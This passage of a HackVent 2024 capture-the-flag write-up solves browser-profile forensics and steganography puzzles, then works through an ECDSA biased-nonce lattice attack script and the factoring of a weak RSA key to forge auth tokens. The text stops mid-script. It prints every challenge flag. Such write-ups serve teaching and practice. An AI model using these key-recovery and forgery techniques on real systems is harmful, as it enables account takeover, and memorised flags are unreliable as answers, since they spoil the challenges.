18|https://www.google.com/search?q=dmx+pictures&oq=DMX+pictures&gs_lcrp=EgZjaHJvbWUqBwgAEAAYgAQyBwgAEAAYgAQyBwgBEAAYgAQyCAgCEAAYFhgeMggIAxAAGBYYHjIICAQQABgWGB4yCAgFEAAYFhgeMggIBhAAGBYYHjIICAcQABgWGB4yCAgIEAAYFhgeMggICRAAGBYYHtIBBzQ4NGowajeoAgCwAgA&sourceid=chrome&ie=UTF-8|dmx pictures - Google Search|1|0|13378484677454011|0
19|https://www.google.com/search?sca_esv=e095c950f9c2c4db&q=dmx+pictures&udm=2&fbs=AEQNm0Aa4sjWe7Rqy32pFwRj0UkWd8nbOJfsBGGB5IQQO6L3J03RPjGV0MznOJ6Likin94pT_oR1DTSof42bOBxoTNxG8rlVtlHpDT0XaodfzKKV1TwR_qbS-aakEhWquIefCsFKaHB0KYQCzwp_KpjBzgqcrYGhvsLLOtjbuCfHDayPjTnT3CUWZbtHp26Caw_fmPEPneFrC2G3lsNMTxsEciHW3aqFEA&sa=X&sqi=2&ved=2ahUKEwiw76rSrqKKAxW0TGwGHc4FEiMQtKgLegQIFBAB&biw=988&bih=605&dpr=1|dmx pictures - Google Search|2|0|13378484684037038|0
20|https://www.google.com/search?sca_esv=e095c950f9c2c4db&q=dmx+pictures&udm=2&fbs=AEQNm0Aa4sjWe7Rqy32pFwRj0UkWd8nbOJfsBGGB5IQQO6L3J03RPjGV0MznOJ6Likin94pT_oR1DTSof42bOBxoTNxG8rlVtlHpDT0XaodfzKKV1TwR_qbS-aakEhWquIefCsFKaHB0KYQCzwp_KpjBzgqcrYGhvsLLOtjbuCfHDayPjTnT3CUWZbtHp26Caw_fmPEPneFrC2G3lsNMTxsEciHW3aqFEA&sa=X&sqi=2&ved=2ahUKEwiw76rSrqKKAxW0TGwGHc4FEiMQtKgLegQIFBAB&biw=988&bih=605&dpr=1#vhid=7-rkNBaGn1yDBM&vssid=mosaic|dmx pictures - Google Search|1|0|13378484685112588|0
21|https://www.google.com/search?sca_esv=e095c950f9c2c4db&q=dmx+pictures&udm=2&fbs=AEQNm0Aa4sjWe7Rqy32pFwRj0UkWd8nbOJfsBGGB5IQQO6L3J03RPjGV0MznOJ6Likin94pT_oR1DTSof42bOBxoTNxG8rlVtlHpDT0XaodfzKKV1TwR_qbS-aakEhWquIefCsFKaHB0KYQCzwp_KpjBzgqcrYGhvsLLOtjbuCfHDayPjTnT3CUWZbtHp26Caw_fmPEPneFrC2G3lsNMTxsEciHW3aqFEA&sa=X&sqi=2&ved=2ahUKEwiw76rSrqKKAxW0TGwGHc4FEiMQtKgLegQIFBAB&biw=988&bih=605&dpr=1#vhid=f8W-q7QKQPI0lM&vssid=mosaic|dmx pictures - Google Search|1|0|13378484687015343|0
22|https://www.google.com/search?sca_esv=e095c950f9c2c4db&q=dmx+pictures&udm=2&fbs=AEQNm0Aa4sjWe7Rqy32pFwRj0UkWd8nbOJfsBGGB5IQQO6L3J03RPjGV0MznOJ6Likin94pT_oR1DTSof42bOBxoTNxG8rlVtlHpDT0XaodfzKKV1TwR_qbS-aakEhWquIefCsFKaHB0KYQCzwp_KpjBzgqcrYGhvsLLOtjbuCfHDayPjTnT3CUWZbtHp26Caw_fmPEPneFrC2G3lsNMTxsEciHW3aqFEA&sa=X&sqi=2&ved=2ahUKEwiw76rSrqKKAxW0TGwGHc4FEiMQtKgLegQIFBAB&biw=988&bih=605&dpr=1#vhid=iyuLuanuIVWJKM&vssid=mosaic|dmx pictures - Google Search|1|0|13378484688793668|0
23|https://www.google.com/search?q=DMX+fan+club&oq=DMX+fan+club&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIHCAEQIRigATIHCAIQIRigATIHCAMQIRiPAtIBBzMyMWowajmoAgCwAgE&sourceid=chrome&ie=UTF-8|DMX fan club - Google Search|2|0|13378484694874272|0
24|https://www.google.com/search?q=are+mid+files+dangerous&oq=are+mid+files+dangerous&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIHCAEQIRigATIHCAIQIRigAdIBBzcyMmowajeoAgewAgE&sourceid=chrome&ie=UTF-8|are mid files dangerous - Google Search|2|0|13378484781204426|0
25|https://www.quora.com/Can-midi-files-be-viruses#:~:text=A%20virus%20can%20only%20reside,Midi%20files%20are%20safe.|Can .midi files be viruses? - Quora|1|0|13378484794064288|0
26|https://www.google.com/search?q=how+to+tell+if+file+is+ransomware&oq=how+to+tell+if+file+is+ransomware&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIICAEQABgWGB4yCAgCEAAYFhgeMggIAxAAGBYYHjINCAQQABiGAxiABBiKBTINCAUQABiGAxiABBiKBTINCAYQABiGAxiABBiKBTIKCAcQABiiBBiJBTIKCAgQABiABBiiBDIKCAkQABiABBiiBNIBCDE1NjNqMGo0qAIAsAIB&sourceid=chrome&ie=UTF-8|how to tell if file is ransomware - Google Search|2|0|13378484799637919|0
27|https://www.google.com/search?q=virustotal&oq=virustotal&gs_lcrp=EgZjaHJvbWUyFAgAEEUYORhDGIMBGLEDGIAEGIoFMgcIARAAGIAEMgcIAhAAGIAEMgcIAxAAGIAEMgcIBBAAGIAEMgcIBRAAGIAEMgcIBhAAGIAEMgcIBxAAGIAEMgcICBAAGIAEMgcICRAAGIAE0gEIMjgzNWowajmoAgCwAgE&sourceid=chrome&ie=UTF-8|virustotal - Google Search|1|0|13378484806477897|0
28|https://www.virustotal.com/|VirusTotal - Home|1|0|13378484823194521|0
29|https://www.virustotal.com/gui/|VirusTotal - Home|2|0|13378484824767865|0
30|https://www.virustotal.com/gui/home/upload|VirusTotal - Home|1|0|13378484825012673|0
31|https://www.virustotal.com/gui/file/5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc|VirusTotal - File - 5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc|4|2|13378484877820508|0
32|https://www.virustotal.com/gui/file/5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc/summary|VirusTotal - File - 5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc|1|0|13378484844277676|0
33|https://www.virustotal.com/gui/file/5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc/details|VirusTotal - File - 5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc|1|0|13378484854717390|0
34|https://www.virustotal.com/gui/file/5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc/community|VirusTotal - File - 5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc|2|1|13378484866579476|0
35|https://www.google.com/search?q=how+to+permanently+erase+a+file+so+it+is+unrecoverable&oq=how+to+permanently+erase+a+file+so+it+is+unrecoverable&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIHCAEQIRigATIHCAIQIRigATIHCAMQIRifBdIBCDE3NzNqMGo0qAIAsAIB&sourceid=chrome&ie=UTF-8|how to permanently erase a file so it is unrecoverable - Google Search|2|0|13378484890872274|0
36|https://www.youtube.com/watch?v=dQw4w9WgXcQ|Rick Astley - Never Gonna Give You Up (Official Music Video) - YouTube|1|1|13378484925700056|0

There’s some funny stuff to advance the story, but the important thing is where Prancer starts thinking that perhaps midi files can get viruses, and eventually visits VirusTotal:

24|https://www.google.com/search?q=are+mid+files+dangerous&oq=are+mid+files+dangerous&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIHCAEQIRigATIHCAIQIRigAdIBBzcyMmowajeoAgewAgE&sourceid=chrome&ie=UTF-8|are mid files dangerous - Google Search|2|0|13378484781204426|0
25|https://www.quora.com/Can-midi-files-be-viruses#:~:text=A%20virus%20can%20only%20reside,Midi%20files%20are%20safe.|Can .midi files be viruses? - Quora|1|0|13378484794064288|0
26|https://www.google.com/search?q=how+to+tell+if+file+is+ransomware&oq=how+to+tell+if+file+is+ransomware&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIICAEQABgWGB4yCAgCEAAYFhgeMggIAxAAGBYYHjINCAQQABiGAxiABBiKBTINCAUQABiGAxiABBiKBTINCAYQABiGAxiABBiKBTIKCAcQABiiBBiJBTIKCAgQABiABBiiBDIKCAkQABiABBiiBNIBCDE1NjNqMGo0qAIAsAIB&sourceid=chrome&ie=UTF-8|how to tell if file is ransomware - Google Search|2|0|13378484799637919|0
27|https://www.google.com/search?q=virustotal&oq=virustotal&gs_lcrp=EgZjaHJvbWUyFAgAEEUYORhDGIMBGLEDGIAEGIoFMgcIARAAGIAEMgcIAhAAGIAEMgcIAxAAGIAEMgcIBBAAGIAEMgcIBRAAGIAEMgcIBhAAGIAEMgcIBxAAGIAEMgcICBAAGIAEMgcICRAAGIAE0gEIMjgzNWowajmoAgCwAgE&sourceid=chrome&ie=UTF-8|virustotal - Google Search|1|0|13378484806477897|0
28|https://www.virustotal.com/|VirusTotal - Home|1|0|13378484823194521|0
29|https://www.virustotal.com/gui/|VirusTotal - Home|2|0|13378484824767865|0
30|https://www.virustotal.com/gui/home/upload|VirusTotal - Home|1|0|13378484825012673|0
31|https://www.virustotal.com/gui/file/5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc|VirusTotal - File - 5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc|4|2|13378484877820508|0
32|https://www.virustotal.com/gui/file/5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc/summary|VirusTotal - File - 5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc|1|0|13378484844277676|0
33|https://www.virustotal.com/gui/file/5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc/details|VirusTotal - File - 5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc|1|0|13378484854717390|0
34|https://www.virustotal.com/gui/file/5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc/community|VirusTotal - File - 5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc|2|1|13378484866579476|0

It looks like they upload something. The file is Comet’s midi file:

image-20241216160349637

On the community tab there’s a comment from “Prancer_the_reindeer”:

image-20241216160455648

That has a URL for a Google drive copy, which provides the midi file.

Many of the same links can be found in the Default/Shortcuts SQLite DB, including the VT link directly to the community tab.

midi Steg

The file is Silent Night, and sounds pretty normal. I’ll open it in Audacity to take a look. The lower notes spell out a flag segment!

image-20241215154934198

HV24{#?#jAM#?#?#}.

Dancer

Update

Dancer sent their update in the form of a PDF, but it’s encrypted:

image-20241216161203003

Comet’s JPG

Comet’s update.jpg has a lot going on in it beyond the standard JPEG image:

oxdf@hacky$ binwalk Comet/update.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, EXIF standard
12            0xC             TIFF image data, big-endian, offset of first image directory: 8
294258        0x47D72         PNG image, 512 x 512, 8-bit/color RGBA, non-interlaced
369125        0x5A1E5         PNG image, 512 x 512, 8-bit/color RGBA, non-interlaced
369166        0x5A20E         Zlib compressed data, best compression
464936        0x71828         XML document, version: "1.0"
516459        0x7E16B         JPEG image data, JFIF standard 1.01
669625        0xA37B9         PNG image, 640 x 640, 8-bit/color RGBA, non-interlaced

I’ll pull the three images and the XML using dd:

oxdf@hacky$ dd if=Comet/update.jpg of=comet1.png bs=1 skip=294258 count=$((369125 - 294258))
73856 bytes (74 kB, 72 KiB) copied, 4 s, 18.5 kB/s
74867+0 records in
74867+0 records out
74867 bytes (75 kB, 73 KiB) copied, 4.04139 s, 18.5 kB/s
oxdf@hacky$ dd if=Comet/update.jpg of=comet2.png bs=1 skip=369125 count=$((464936 - 369125))
79333 bytes (79 kB, 77 KiB) copied, 5 s, 15.9 kB/s
95811+0 records in
95811+0 records out
95811 bytes (96 kB, 94 KiB) copied, 5.88021 s, 16.3 kB/s
oxdf@hacky$ dd if=Comet/update.jpg of=comet3.png bs=1 skip=669625
196639 bytes (197 kB, 192 KiB) copied, 12 s, 16.4 kB/s
197311+0 records in
197311+0 records out
197311 bytes (197 kB, 193 KiB) copied, 12.0293 s, 16.4 kB/s
oxdf@hacky$ dd if=Comet/update.jpg of=comet.xml bs=1 skip=464936 count=$((516459 - 464936))
49820 bytes (50 kB, 49 KiB) copied, 3 s, 16.6 kB/s
51523+0 records in
51523+0 records out
51523 bytes (52 kB, 50 KiB) copied, 3.11602 s, 16.5 kB/s

The images are:

This suggests that the password to the PDF is the address in the XML.

Get Address

The XML file contains geolocation data:

<?xml version="1.0" encoding="UTF-8"?>^M
<GeolocationData>^M
    <Location>2dUURCy1VnuDyonM1oyKq5VoMjApQabrAXxr</Location>^M
    <TimeStamp>2024-12-12T14:35:00Z</TimeStamp>^M
    <Address>^M
        <StreetNumber>REDACTED</StreetNumber>^M
        <StreetName>REDACTED</StreetName>^M
                <RegExpPattern>^\d{1,5}\s[A-Z][a-z]+\s(?:St|Rd|Cl)$</RegExpPattern>^M
    </Address>^M
    <Details>^M
        <Accuracy>5 meters</Accuracy>^M
        <Elevation>25 meters</Elevation>^M
        <Provider>GPS</Provider>^M
    </Details>^M
</GeolocationData>^M

The Location value is encoded, and the Address value has a regex. It looks like base64, but it’s not. It’s actually base58, an encoding commonly used in Bitcoin addresses.

oxdf@hacky$ echo 2dUURCy1VnuDyonM1oyKq5VoMjApQabrAXxr | base58 -d
5130'45.09"N, 013'8.52"W

This maps to the location where RickRoll was filmed:

image-20241215160238550

The address is 154 Freston Rd.

Decrypted PDF

“154 Freston Rd” opens a two page PDF. The first page has a note from Dancer:

image-20241216163729171

The second has the sheet music for Jingle Bells:

image-20241216163805465

Music Sheet Cipher

The Treble clef has the legit notes for Jingle Bells. The Bass clef is off. For one, 16 over 4 as a time doesn’t make any sense when the Treble is 4 over 4:

image-20241216163925988

The notes are the Music Sheet Cipher. I’ll enter it into dcode.fr and it returns a bunch of integers:

image-20241215163859922

These decode in Cyberchef to the flag:

image-20241215163910715

HV24{#ReiNd33r#?#?#?. Putting the four together makes the final flag.

Flag: HV24{#ReiNd33r#jAM#BEST#ToG3th3r#}

HV24.HH

Challenge

HackVent ballHH HV24.HH Frosty's Secret
Categories: funFUN
Level: hard
Author: mobeigi

I cannot believe it! This snowman has really hid a flag in one of the hard challenges. Now I’m gonna have to search it and remove it. Grumble, grumble…

Solution

There’s a bunch more data in the Chrome profile. I’ll take a look at all the SQLite DBs by running file on each and then grep for SQL:

oxdf@hacky$ find . -exec file {} \; | grep SQL
./segmentation_platform/ukm_db: SQLite 3.x database, last written using SQLite version 3046000, file counter 16, database pages 15, cookie 0xb, schema 4, UTF-8, version-valid-for 16
./first_party_sets.db: SQLite 3.x database, last written using SQLite version 3046000, file counter 5, database pages 12, cookie 0xa, schema 4, UTF-8, version-valid-for 5
./Default/Favicons: SQLite 3.x database, last written using SQLite version 3046001, page size 2048, file counter 20, database pages 36, cookie 0x8, schema 4, UTF-8, version-valid-for 20
./Default/heavy_ad_intervention_opt_out.db: SQLite 3.x database, last written using SQLite version 3046000, file counter 2, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 2
./Default/SharedStorage: SQLite 3.x database, last written using SQLite version 3046000, file counter 2, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 2
./Default/Web Data: SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 6, database pages 59, cookie 0x25, schema 4, UTF-8, version-valid-for 6
./Default/History: SQLite 3.x database, last written using SQLite version 3046001, file counter 18, database pages 64, cookie 0x21, schema 4, UTF-8, version-valid-for 18
./Default/WebStorage/QuotaManager: SQLite 3.x database, last written using SQLite version 3046000, file counter 4, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 4
./Default/BrowsingTopicsSiteData: SQLite 3.x database, last written using SQLite version 3046000, file counter 3, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 3
./Default/MediaDeviceSalts: SQLite 3.x database, last written using SQLite version 3046000, file counter 1, database pages 6, cookie 0x3, schema 4, UTF-8, version-valid-for 1
./Default/Shared Dictionary/db: SQLite 3.x database, last written using SQLite version 3046000, file counter 9, database pages 11, cookie 0x8, schema 4, UTF-8, version-valid-for 9
./Default/PrivateAggregation: SQLite 3.x database, last written using SQLite version 3046000, file counter 2, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 2
./Default/Top Sites: SQLite 3.x database, last written using SQLite version 3046000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
./Default/Login Data For Account: SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
./Default/DIPS: SQLite 3.x database, last written using SQLite version 3046000, file counter 5, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 5
./Default/Conversions: SQLite 3.x database, last written using SQLite version 3046000, file counter 2, database pages 27, cookie 0x16, schema 4, UTF-8, version-valid-for 2
./Default/Login Data: SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 2, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 2
./Default/Safe Browsing Network/Safe Browsing Cookies: SQLite 3.x database, last written using SQLite version 3046000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
./Default/Network Action Predictor: SQLite 3.x database, last written using SQLite version 3046000, file counter 8, database pages 25, 1st free page 17, free pages 12, cookie 0x7, schema 4, UTF-8, version-valid-for 8
./Default/Affiliation Database: SQLite 3.x database, last written using SQLite version 3046000, file counter 6, database pages 20, cookie 0x8, schema 4, UTF-8, version-valid-for 6
./Default/Network/Trust Tokens: SQLite 3.x database, last written using SQLite version 3046000, file counter 5, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 5
./Default/Network/Cookies: SQLite 3.x database, last written using SQLite version 3046000, file counter 22, database pages 22, cookie 0x3, schema 4, UTF-8, version-valid-for 22
./Default/Network/Reporting and NEL: SQLite 3.x database, last written using SQLite version 3046000, file counter 26, database pages 24, cookie 0x4, schema 4, UTF-8, version-valid-for 26
./Default/Shortcuts: SQLite 3.x database, last written using SQLite version 3046000, file counter 5, database pages 7, cookie 0x2, schema 4, UTF-8, version-valid-for 5
./Default/AggregationService: SQLite 3.x database, last written using SQLite version 3046000, file counter 1, database pages 13, cookie 0xa, schema 4, UTF-8, version-valid-for 1

sqlite3 [db_file] .dump | less is a nice command to quickly triage these databases.

The Favicons database has a table with information about the site (favicons) as well as the raw image data (favicon_bitmaps):

oxdf@hacky$ sqlite3 Favicons
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
favicon_bitmaps  favicons         icon_mapping     meta 

I’ll write a quick bash one-liner to get all the PNG data as hex, decode it, and save it to a file:

oxdf@hacky$ cnt=1; sqlite3 Favicons .dump | grep INSERT | grep favicon_bitmaps | while read line; do imgid=$(echo "$line" | cut -d, -f2); echo "$line" | cut -d"'" -f2 | xxd -r -p > "../../../chrome_favicons/${cnt}_${imgid}.png"; ((cnt++)); done

After running this, I have a directory with the favicons:

image-20241219141023302

One is a QRCode! It’s from image ID 10, which is for the Hackvent site for the hidden challenge!

oxdf@hacky$ sqlite3 Favicons .dump | grep INSERT | grep icon_mapping | grep "10);"
INSERT INTO icon_mapping VALUES(37,'https://competition.hacking-lab.com/events/160/curriculumevents/162/challenges/1305',10);

And it has the flag:

oxdf@hacky$ zbarimg 17_10.png 
QR-Code:HV24{n0_0n3_3v3r_n071c35_7h3_f4v1c0n}
scanned 1 barcode symbols from 1 images in 0 seconds

Flag: HV24{n0_0n3_3v3r_n071c35_7h3_f4v1c0n}

Some DB GUI tools can also just show the images directly from the DB. For example, sqlitebrowser:

image-20241219171926248

HV24.16

Challenge

HackVent ball16 HV24.16 Santa's Signatures
Categories: cryptoCRYPTO
Level: hard
Author: kuyaya

Because of new bureaucratic regulations, Santa has to sign every package that he sends out. So far, he has always used his drawing pad to sign manually but lately, he has been getting hand cramps and the doctor recommended him to try out digital signatures. Thus, he has tasked one of his elves to implement such a system and has published 4 digital signatures of his favourite lyrics to the world. Unfortunately, you didn’t have the time to ask him for more samples…

The challenge comes with two downloads, a python script and the output:

oxdf@hacky$ file santas-signatures.py
santas-signatures.py: Python script, ASCII text executable
oxdf@hacky$ cat output.txt 
r = [382825619053484650723101111089716481637169498894438388011, 2846338329314931410625679965921020604974471932472870479272, 4539748290341241446856454569550628724992441965649378727404, 941682904620798018129415714406121176743478727872983123639]
s = [1053747182506109288607080233885972025033725041930583121945, 271361922488295908863717359631373504169617539839833749415, 1147747170412930491481269098330085803226817442551773675299, 3831443458083168767818771718543562148023158622090413416724]

The Python script is pretty short (other than the RickRoll used as the message):

from ecdsa import SigningKey, NIST192p
from hashlib import sha256
import os

from hackvent import flag

private_key = SigningKey.generate(curve=NIST192p)
public_key = private_key.get_verifying_key()

curve = NIST192p
n = curve.order

message = b"""
We're no strangers to love
You know the rules and so do I (do I)
...[snip]...
"""

r_list = []
s_list = []

h = int.from_bytes(sha256(message).digest(), "big") % n

for _ in range(4):
    k = int.from_bytes(flag + os.urandom(4), "big")
    assert k < n
    r = (k * curve.generator).x() % n
    s = (pow(k, -1, n) * (h + r * private_key.privkey.secret_multiplier)) % n
    r_list.append(int(r))
    s_list.append(int(s))


print("r =", r_list)
print("s =", s_list)

Solution

The issue here is ECDSA when the nonce (k) is not truly random. There’s a nice blog from Trail of Bits, ECDSA: Handle with Care, and a more math-heavy talk from IACR, Biased Nonce Sense Lattice attacks against weak ECDSA signatures in the wild that provide a lot of background that is too mathy for me to explain in depth.

I’ll use the text there to build this script. It will generate a matrix, reduce it using lattice math, and then generate possible private keys. From those keys I’ll calculate the nonces, and when one starts with “HV24{“, I’ll know it’s the flag:

import ecdsa
from hashlib import sha256
import olll

n = ecdsa.NIST192p.order

message = b"""
We're no strangers to love
You know the rules and so do I (do I)
...[snip]...
Never gonna tell a lie and hurt you
"""

mod_inv = lambda x, p: pow(x, -1, p)
h = int.from_bytes(sha256(message).digest(), "big") % n # 5451444470609933768673875739190099258978652043860043513059
B = 32 # 32 bits of random non-matching values in nonce
r = [382825619053484650723101111089716481637169498894438388011, 2846338329314931410625679965921020604974471932472870479272, 4539748290341241446856454569550628724992441965649378727404, 941682904620798018129415714406121176743478727872983123639]
s = [1053747182506109288607080233885972025033725041930583121945, 271361922488295908863717359631373504169617539839833749415, 1147747170412930491481269098330085803226817442551773675299, 3831443458083168767818771718543562148023158622090413416724]

matrix = [
    [n, 0, 0, 0, 0, 0],
    [0, n, 0, 0, 0, 0],
    [0, 0, n, 0, 0, 0],
    [0, 0, 0, n, 0, 0],
    [],
    []
]

rnsn_inv = r[-1] * mod_inv(s[-1], n)
mnsn_inv = h * mod_inv(s[-1], n)
for i in range(len(r)):
    matrix[-2].append(r[i] * mod_inv(s[i], n) - rnsn_inv)
    matrix[-1].append(h * mod_inv(s[i], n) - mnsn_inv)
matrix[-2].extend([int(2**B) / n, 0])
matrix[-1].extend([0, 2**B])

new_matrix = olll.reduction(matrix, 0.75)

keys = []
for row in new_matrix:
    potential_nonce_diff = row[0]
    potential_priv_key = (s[-1] * h) - (s[0] * h) - (s[0] * s[-1] * potential_nonce_diff)
    potential_priv_key *= mod_inv((r[-1] * s[0]) - (r[0] * s[-1]), n)
    potential_priv_key = potential_priv_key % n
    keys.append(potential_priv_key)

for rr, ss, key in zip(r, s, keys):
    k = (mod_inv(ss, n) * (h + rr * key)) % n
    if hex(k).startswith("0x485632347b"):
        print(bytes.fromhex(hex(k)[2:-8]).decode())

It works:

oxdf@hacky$ python solve.py 
HV24{just_us3_EdDSA}

Flag: HV24{just_us3_EdDSA}

HV24.17

Challenge

HackVent ball17 HV24.17 Santa's Not So Secure Encryption Platform
Categories: web_securityWEB_SECURITY
cryptoCRYPTO
funFUN
Level: hard
Author: xtea418

One day, Santa wanted some platform to encrypt things, so he asked one of his elves. Unfortunately for Santa the elf he asked was a “Bricoleur” or “Bastler”.

The closest one can describe the application is probably something along the lines of “Security through obscurity, minus the security”.


Start the website and get the flag.

There’s a download and a Docker instance. The download is a Python FastAPI project. There’s no GUI or HTML, just an API.

RSA

There’s an “RSA” implementation that’s implemented in crypto/rsa.py:

@dataclass
class RSA:
    """RSA for signing and verifying signatures.

    Example:
    -------
        >>> p = getPrime(2048)
        >>> q = getPrime(2048)
        >>> rsa = RSA([p, q])
        >>> msg = b"HV24{n4v3r_g0nn4_g1v3_y0u_4_fl4g_(f4ke_fl4g)}"
        >>> hash = hashlib.sha256(msg).digest()
        >>> signature = rsa.sign(hash)
        >>> rsa.verify(hash, signature)
        True
        >>> rsa.verify(hashlib.sha256(b"message from funny user").digest(), signature)
        False  
    """
    
    ps: list[int]
    e: int = 0x10001
    
    @property
    def phi(self) -> int:
        return reduce(mul, map(lambda p: p - 1, self.ps), 1)
    
    @property
    def d(self) -> int:
        return pow(self.e, -1, self.phi)
    
    @property
    def n(self) -> int:
        return reduce(mul, self.ps, 1)
    
    def _encrypt(self, msg: bytes) -> bytes:
        return long_to_bytes(pow(bytes_to_long(msg), self.e, self.n))
    
    def _decrypt(self, ciphertext: bytes) -> bytes:
        return long_to_bytes(pow(bytes_to_long(ciphertext), self.d, self.n))
    
    def sign(self, msg: bytes) -> bytes:
        hashed_msg = hashlib.sha256(msg).digest()
        return self._decrypt(hashed_msg)
    
    def verify(self, msg: bytes, signature: bytes) -> bool:
        hashed_msg = hashlib.sha256(msg).digest()
        decrypted_signature = self._encrypt(signature)
        return hashed_msg == decrypted_signature
    
    @property
    def public_key(self):
        return {"N": self.n, "e": self.e}
    
    @classmethod
    def new(cls, n=25):
        return cls([getPrime(42) for _ in range(n)])

It’s pretty standard RSA, except that that the new method creates a new instance with 25 primes where they would typically be just 2 (p and q). There’s an endpoint, /api/crypto/rsa that will dump the public key:

@crypto_router.get("/rsa")
def rsa_public_key(rsa: GlobalRSA) -> dict:
    """RSA Public Key."""
    return rsa.public_key

It has no auth, so I can just dump it:

oxdf@hacky$ curl 152.96.15.2:8000/api/crypto/rsa
{"N":397416404815421210269095730006622770270493375607763745369769081260051441517406595295848534537514143552386978011134871660921486280414595757163583268464277301262555389138854929441988100282805747854160356150984002014323630737084393800550243809155524267537714913975850686503404979233626877266712070855221193542528911,"e":65537}

A site like Integer factorization calculator will factor this quickly:

image-20241217200226854

There’s 25 prime factors.

Token

Register / Login

There are endpoints to register and login, and to check tokens. I can register:

oxdf@hacky$ curl 65286ff5-0beb-45af-864a-57b8204e1269.r.vuln.land:8000/api/auth/register  -H "Content-Type: application/json" -d '{"username": "0xdf", "email": "0xdf@aol.com", "password": "0xdf0xdf"}'
{"id":2,"username":"0xdf","email":"0xdf@aol.com","password":"**********"}

With that, I can login and it sets a token as the seauthtoken:

oxdf@hacky$ curl -v 65286ff5-0beb-45af-864a-57b8204e1269.r.vuln.land:8000/api/auth/login  -H "Content-Type: application/json" -d '{"username": "0xdf", "password": "0xdf0xdf"}'; echo
* Host 65286ff5-0beb-45af-864a-57b8204e1269.r.vuln.land:8000 was resolved.
* IPv6: (none)
* IPv4: 152.96.15.7
*   Trying 152.96.15.7:8000...
* Connected to 65286ff5-0beb-45af-864a-57b8204e1269.r.vuln.land (152.96.15.7) port 8000
> POST /api/auth/login HTTP/1.1
> Host: 65286ff5-0beb-45af-864a-57b8204e1269.r.vuln.land:8000
> User-Agent: curl/8.5.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 44
> 
< HTTP/1.1 204 No Content
< date: Tue, 17 Dec 2024 17:45:35 GMT
< server: uvicorn
< content-type: application/json
< set-cookie: seauthtoken=eyJzdWIiOiAyLCAiZXhwIjogIjIwMjQtMTItMTdUMTg6MDA6MzYuMjA5NTMxKzAwOjAwIn0.oycXuA67wVawrpI7jKhO2CUWm4rnU3jVmB0sZ28up6pscKDhwaLwKklvmvCPugxZb7VsgsEAoqFpJkw31IDCbTTAAo8dsWn2e7m0Q6kF_II2XVoIeMMYtPS_fLJjtDsV2gA9GlSL3Qc5aopMGtLCSDvL6W3Ly0kna6uGzmUFVZOF4A; expires=Tue, 17 Dec 2024 18:00:36 GMT; HttpOnly; Path=/; SameSite=lax; Secure
< 
* Connection #0 to host 65286ff5-0beb-45af-864a-57b8204e1269.r.vuln.land left intact

Using that token validates on the status endpoint:

oxdf@hacky$ curl 65286ff5-0beb-45af-864a-57b8204e1269.r.vuln.land:8000/api/auth/status -b "seauthtoken=eyJzdWIiOiAyLCAiZXhwIjogIjIwMjQtMTItMTdUMTg6MDA6MzYuMjA5NTMxKzAwOjAwIn0.oycXuA67wVawrpI7jKhO2CUWm4rnU3jVmB0sZ28up6pscKDhwaLwKklvmvCPugxZb7VsgsEAoqFpJkw31IDCbTTAAo8dsWn2e7m0Q6kF_II2XVoIeMMYtPS_fLJjtDsV2gA9GlSL3Qc5aopMGtLCSDvL6W3Ly0kna6uGzmUFVZOF4A"; echo
{"authorized":true}

Forge Tokens

The “JWT” token implementation uses the RSA instance to sign tokens:

    def encode(self, payload: dict[str], requires_expiry=True) -> str:
        if "exp" not in payload and requires_expiry:
            raise SJWTEncodingError("Sir we need an expiry on the token!")
        as_string = dumps(payload)
        _body = as_string.encode()
        sig = b64encode(self.rsa.sign(_body))
        body = b64encode(_body)

        return body + "." + sig

That means I can do the same thing and forge my own:

import json
import requests
import sys
from base64 import b64encode
from sympy import factorint
from challenge.api.santas_encryption.crypto.rsa import RSA


resp = requests.get(f"http://{sys.argv[1]}:8000/api/crypto/rsa")
n = resp.json()["N"]
try:
    with open('factors.json', 'r') as f:
        all_factors = json.load(f)
